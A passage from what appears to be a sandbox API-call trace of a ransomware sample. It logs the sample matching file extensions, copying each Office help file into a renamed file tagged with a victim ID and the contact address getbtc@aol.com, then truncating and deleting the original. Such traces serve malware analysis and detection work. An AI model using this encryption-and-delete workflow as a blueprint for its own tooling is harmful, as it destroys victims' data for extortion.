Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.457] lstrlenW (lpString=".doc") returned 4 [0250.457] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.457] lstrlenW (lpString=".docx") returned 5 [0250.457] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.457] lstrlenW (lpString=".pdf") returned 4 [0250.457] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.457] lstrlenW (lpString=".xls") returned 4 [0250.457] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.457] lstrlenW (lpString=".xlsx") returned 5 [0250.457] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.457] lstrlenW (lpString=".ppt") returned 4 [0250.457] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.457] lstrlenW (lpString=".zip") returned 4 [0250.457] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.458] lstrlenW (lpString=".rar") returned 4 [0250.458] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.458] lstrlenW (lpString=".bz2") returned 4 [0250.458] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.458] lstrlenW (lpString=".7z") returned 3 [0250.458] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.458] lstrlenW (lpString=".dbf") returned 4 [0250.458] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.458] lstrlenW (lpString=".1cd") returned 4 [0250.458] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0250.458] lstrlenW (lpString=".jpg") returned 4 [0250.458] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.458] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.458] lstrlenW (lpString="MSTORE_K_COL.HXK") returned 16 [0250.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.458] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=113) returned 1 [0250.458] CloseHandle (hObject=0x360) returned 1 [0250.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk")) returned 0x20 [0250.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.459] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.459] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0250.460] GetLastError () returned 0x0 [0250.460] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x71, lpOverlapped=0x0) returned 1 [0250.460] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.461] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0250.461] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0250.461] SetEndOfFile (hFile=0x388) returned 1 [0250.461] CloseHandle (hObject=0x388) returned 1 [0250.462] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0250.462] SetEndOfFile (hFile=0x360) returned 1 [0251.752] CloseHandle (hObject=0x360) returned 1 [0251.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk")) returned 1 [0251.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.768] lstrlenW (lpString=".doc") returned 4 [0251.768] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0251.768] lstrlenW (lpString=".docx") returned 5 [0251.768] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0251.768] lstrlenW (lpString=".pdf") returned 4 [0251.768] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0251.768] lstrlenW (lpString=".xls") returned 4 [0251.768] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0251.769] lstrlenW (lpString=".xlsx") returned 5 [0251.769] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0251.769] lstrlenW (lpString=".ppt") returned 4 [0251.769] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0251.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.769] lstrlenW (lpString=".zip") returned 4 [0251.769] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0251.769] lstrlenW (lpString=".rar") returned 4 [0251.769] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0251.769] lstrlenW (lpString=".bz2") returned 4 [0251.769] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0251.769] lstrlenW (lpString=".7z") returned 3 [0251.769] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0251.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.769] lstrlenW (lpString=".dbf") returned 4 [0251.769] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0251.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.769] lstrlenW (lpString=".1cd") returned 4 [0251.769] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0251.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.769] lstrlenW (lpString=".jpg") returned 4 [0251.769] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0251.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.769] lstrlenW (lpString=".doc") returned 4 [0251.769] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0251.769] lstrlenW (lpString=".docx") returned 5 [0251.769] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0251.769] lstrlenW (lpString=".pdf") returned 4 [0251.769] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0251.769] lstrlenW (lpString=".xls") returned 4 [0251.769] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0251.769] lstrlenW (lpString=".xlsx") returned 5 [0251.769] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0251.769] lstrlenW (lpString=".ppt") returned 4 [0251.769] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0251.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.770] lstrlenW (lpString=".zip") returned 4 [0251.770] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0251.770] lstrlenW (lpString=".rar") returned 4 [0251.770] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0251.770] lstrlenW (lpString=".bz2") returned 4 [0251.770] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0251.770] lstrlenW (lpString=".7z") returned 3 [0251.770] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0251.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.770] lstrlenW (lpString=".dbf") returned 4 [0251.770] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0251.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.770] lstrlenW (lpString=".1cd") returned 4 [0251.770] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0251.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0251.770] lstrlenW (lpString=".jpg") returned 4 [0251.770] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0251.770] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0251.770] lstrlenW (lpString="OIS_COL.HXC") returned 11 [0251.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.771] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=611) returned 1 [0251.771] CloseHandle (hObject=0x3a0) returned 1 [0251.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc")) returned 0x20 [0251.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.771] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.771] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.772] GetLastError () returned 0x0 [0251.772] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x263, lpOverlapped=0x0) returned 1 [0251.773] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x270, lpOverlapped=0x0) returned 1 [0251.774] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0251.774] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0251.774] SetEndOfFile (hFile=0x3a8) returned 1 [0251.775] CloseHandle (hObject=0x3a8) returned 1 [0251.775] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.775] SetEndOfFile (hFile=0x3a0) returned 1 [0251.780] CloseHandle (hObject=0x3a0) returned 1 [0251.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc")) returned 1 [0251.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.781] lstrlenW (lpString=".doc") returned 4 [0251.781] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0251.781] lstrlenW (lpString=".docx") returned 5 [0251.781] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0251.781] lstrlenW (lpString=".pdf") returned 4 [0251.781] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0251.781] lstrlenW (lpString=".xls") returned 4 [0251.781] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0251.782] lstrlenW (lpString=".xlsx") returned 5 [0251.782] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0251.782] lstrlenW (lpString=".ppt") returned 4 [0251.782] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0251.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.782] lstrlenW (lpString=".zip") returned 4 [0251.782] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0251.782] lstrlenW (lpString=".rar") returned 4 [0251.782] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0251.782] lstrlenW (lpString=".bz2") returned 4 [0251.782] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0251.782] lstrlenW (lpString=".7z") returned 3 [0251.782] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0251.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.782] lstrlenW (lpString=".dbf") returned 4 [0251.782] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0251.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.782] lstrlenW (lpString=".1cd") returned 4 [0251.782] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0251.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.782] lstrlenW (lpString=".jpg") returned 4 [0251.782] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0251.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.782] lstrlenW (lpString=".doc") returned 4 [0251.782] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0251.782] lstrlenW (lpString=".docx") returned 5 [0251.782] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0251.782] lstrlenW (lpString=".pdf") returned 4 [0251.782] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0251.782] lstrlenW (lpString=".xls") returned 4 [0251.782] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0251.782] lstrlenW (lpString=".xlsx") returned 5 [0251.782] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0251.782] lstrlenW (lpString=".ppt") returned 4 [0251.782] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0251.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.783] lstrlenW (lpString=".zip") returned 4 [0251.783] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0251.783] lstrlenW (lpString=".rar") returned 4 [0251.783] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0251.783] lstrlenW (lpString=".bz2") returned 4 [0251.783] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0251.783] lstrlenW (lpString=".7z") returned 3 [0251.783] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0251.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.783] lstrlenW (lpString=".dbf") returned 4 [0251.783] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0251.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.783] lstrlenW (lpString=".1cd") returned 4 [0251.783] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0251.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0251.783] lstrlenW (lpString=".jpg") returned 4 [0251.783] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0251.783] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0251.783] lstrlenW (lpString="OIS_COL.HXT") returned 11 [0251.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.784] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=203) returned 1 [0251.784] CloseHandle (hObject=0x3a0) returned 1 [0251.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt")) returned 0x20 [0251.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.784] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.784] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.785] GetLastError () returned 0x0 [0251.785] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xcb, lpOverlapped=0x0) returned 1 [0251.786] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0251.786] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0251.786] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0251.786] SetEndOfFile (hFile=0x3a8) returned 1 [0251.787] CloseHandle (hObject=0x3a8) returned 1 [0251.787] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.787] SetEndOfFile (hFile=0x3a0) returned 1 [0251.789] CloseHandle (hObject=0x3a0) returned 1 [0251.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt")) returned 1 [0251.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.791] lstrlenW (lpString=".doc") returned 4 [0251.791] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0251.792] lstrlenW (lpString=".docx") returned 5 [0251.792] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0251.792] lstrlenW (lpString=".pdf") returned 4 [0251.792] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0251.792] lstrlenW (lpString=".xls") returned 4 [0251.792] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0251.792] lstrlenW (lpString=".xlsx") returned 5 [0251.792] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0251.792] lstrlenW (lpString=".ppt") returned 4 [0251.792] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0251.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.792] lstrlenW (lpString=".zip") returned 4 [0251.792] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0251.792] lstrlenW (lpString=".rar") returned 4 [0251.792] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0251.792] lstrlenW (lpString=".bz2") returned 4 [0251.792] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0251.792] lstrlenW (lpString=".7z") returned 3 [0251.792] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0251.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.792] lstrlenW (lpString=".dbf") returned 4 [0251.792] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0251.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.792] lstrlenW (lpString=".1cd") returned 4 [0251.792] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0251.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.792] lstrlenW (lpString=".jpg") returned 4 [0251.792] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0251.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.792] lstrlenW (lpString=".doc") returned 4 [0251.792] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0251.792] lstrlenW (lpString=".docx") returned 5 [0251.792] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0251.792] lstrlenW (lpString=".pdf") returned 4 [0251.792] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0251.793] lstrlenW (lpString=".xls") returned 4 [0251.793] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0251.793] lstrlenW (lpString=".xlsx") returned 5 [0251.793] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0251.793] lstrlenW (lpString=".ppt") returned 4 [0251.793] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0251.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.793] lstrlenW (lpString=".zip") returned 4 [0251.793] lstrcmpiW 